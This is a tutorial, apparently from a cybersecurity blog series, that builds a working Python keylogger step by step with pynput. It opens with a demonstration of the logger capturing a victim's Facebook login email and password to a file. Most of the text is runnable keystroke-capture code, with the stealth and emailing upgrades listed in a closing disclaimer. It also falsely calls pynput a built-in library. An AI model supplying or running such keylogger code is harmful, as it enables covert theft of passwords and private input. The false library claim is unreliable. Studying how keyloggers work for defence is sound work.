Today, we’re diving back into our cybersecurity series.
We’ll be exploring a tool known as a keylogger.
What is a Keylogger?
A keylogger is a tool that records every keystroke and mouse click you make. Everything you type is saved to a file.
More advanced versions can run automatically at startup. They can even send the logged files to a remote location online.
Let’s see how a basic version of this tool works.
A Quick Demonstration
First, you run a simple Python script. It runs quietly in the background.
Now, imagine you open a web browser and go to Google. You search for “Facebook.”
You navigate to the login page. You start typing your credentials.
Let’s say your email is [email protected].
And then you type in your secret password.
You hit “Login,” and everything seems normal. You’re completely unaware that anything is happening.
But if we check our desktop, a new text file has appeared. Opening it reveals everything you typed.
First, it shows “Facebook.”
Then, it shows the characters for your email.
It even logs when you press special keys, like Shift.
For example, you might see Shift followed by a letter.
This just means the letter was capitalized.
So, Shift + m becomes M.
The log file also captures symbols, like the @ in an email address, which is often a combination of Shift and another key.
By translating these logs, an attacker can reconstruct your exact inputs, including sensitive passwords.
Now, let’s build it.
Setting Up the Environment
As always, the first step is to import the necessary libraries.
We’ll use a built-in Python library called pynput.
You don’t need to install it separately.
pynput can control both the keyboard and the mouse.
For this project, we only need the keyboard functionality.
from pynput import keyboard
Next, we need to interact with the operating system to handle files.
For that, we import the os library.
import os
We also need to handle time. Why? Because a user might trigger the logger multiple times. We want to timestamp our log files to keep them organized.
So, we’ll import the datetime library.
from datetime import datetime
Building the Keylogger Step-by-Step
Let’s start by defining the path where our log file will be saved. We’ll target the user’s desktop.
We create a variable to hold the desktop path using the os module.
This makes our script work on different systems.
desktop_path = os.path.join(os.path.expanduser("~"), "Desktop")
Now, let’s define the full path for our log file.
This file will be named keyboard_history.txt and placed on the desktop.
log_file = os.path.join(desktop_path, "keyboard_history.txt")
[!TIP] In our previous articles on cybersecurity, we covered various methods for file handling. You can make the script save the file in different locations, open it, or append to it. I recommend checking out the full series for more context.
The Logic Flow
Here’s a simple diagram of how our keylogger will process keystrokes.
graph TD
A[Key Press Detected] --> B{Is it a standard character?};
B -->|Yes| C[Write character to file];
B -->|No| D{Is it a special key? (e.g., Space, Enter)};
D -->|Yes| E[Handle special key formatting];
E --> C;
D -->|No| F[Write the key's name to file (e.g., 'shift')];
F --> C;
Writing to the Log File
Now, we need a function that writes the captured keystrokes to our file. This is the core of our script.
We’ll define a function called write_to_file.
def write_to_file(key_str):
with open(log_file, "a", encoding="utf-8") as f:
f.write(key_str)
Let’s break this down:
- We use
with open()to ensure the file is automatically closed after writing. - The
"a"mode stands for append. This adds new content to the end of the file without deleting what’s already there. If the file doesn’t exist, it will be created. - The
encoding="utf-8"is crucial.
[!NOTE] Without
utf-8encoding, the script would only support English characters. This encoding ensures we can capture Arabic, other languages, and various symbols correctly.
Capturing Keystrokes
Next, we create the function that captures key presses.
We’ll call it on_press. This function is triggered every time a key is pressed.
def on_press(key):
# ... logic to process the key ...
Inside this function, we need to handle different types of keys.
A key could be a simple character (a, b, c) or a special key (Space, Enter, Shift).
We use a try...except block to manage this.
The try block attempts to treat the key as a standard character.
def on_press(key):
try:
# Try to write the key as a character
write_to_file(str(key.char))
except AttributeError:
# Handle special keys if it's not a character
# ...
If the key is not a standard character (like Shift or Ctrl), it won’t have a .char attribute, which will raise an AttributeError.
Our except block catches this error and processes it as a special key.
Handling Special Keys
Inside the except block, we’ll handle specific special keys.
If the key is Space, we’ll write a space.
If it’s Enter, we’ll write a newline character (\n) to move to the next line.
For any other special key (Shift, Ctrl, Esc), we’ll write its name inside brackets to make the log readable.
def on_press(key):
try:
write_to_file(str(key.char))
except AttributeError:
if key == keyboard.Key.space:
# Write a space for the spacebar
write_to_file(" ")
elif key == keyboard.Key.enter:
# Write a newline for the enter key
write_to_file("\n")
else:
# For other special keys, write their name
write_to_file(f" [{key.name}] ")
The Main Function
Now, let’s bring it all together in a main function.
This function will be the entry point of our program.
First, we can print a message to confirm the keylogger is running. This is helpful for debugging but should be removed if you want the script to be stealthy.
def main():
print(f"Keylogger is running. Logging to: {log_file}")
# ... listener logic ...
The most important part is the listener. The listener is what actively “listens” for keystrokes.
We create a keyboard.Listener and tell it to call our on_press function whenever a key is pressed.
def main():
print(f"Keylogger is running. Logging to: {log_file}")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
The listener.join() line is critical.
It blocks the script from exiting, ensuring the listener keeps running in the background.
Without it, the program would start and immediately stop.
Running the Script
Finally, we add the standard Python condition to run our main function when the script is executed.
if __name__ == "__main__":
main()
And that’s it! You’ve built a basic keylogger.
Important Disclaimer
[!WARNING] This script is provided for educational purposes only. The code presented here is intentionally simplified and lacks the advanced features that would make it a malicious tool. For example, it doesn’t hide itself, and it saves the log file in a very obvious location (the Desktop).
Advanced (and dangerous) additions could include:
- Making the script run completely hidden.
- Saving the log file in a secret directory.
- Automatically emailing the log file to an attacker.
Using such tools for unauthorized monitoring is illegal and unethical. The purpose of this article is to help you understand the security risks, such as downloading cracked software, which might contain malicious scripts like this one running without your knowledge.
Stay safe, and use your knowledge responsibly.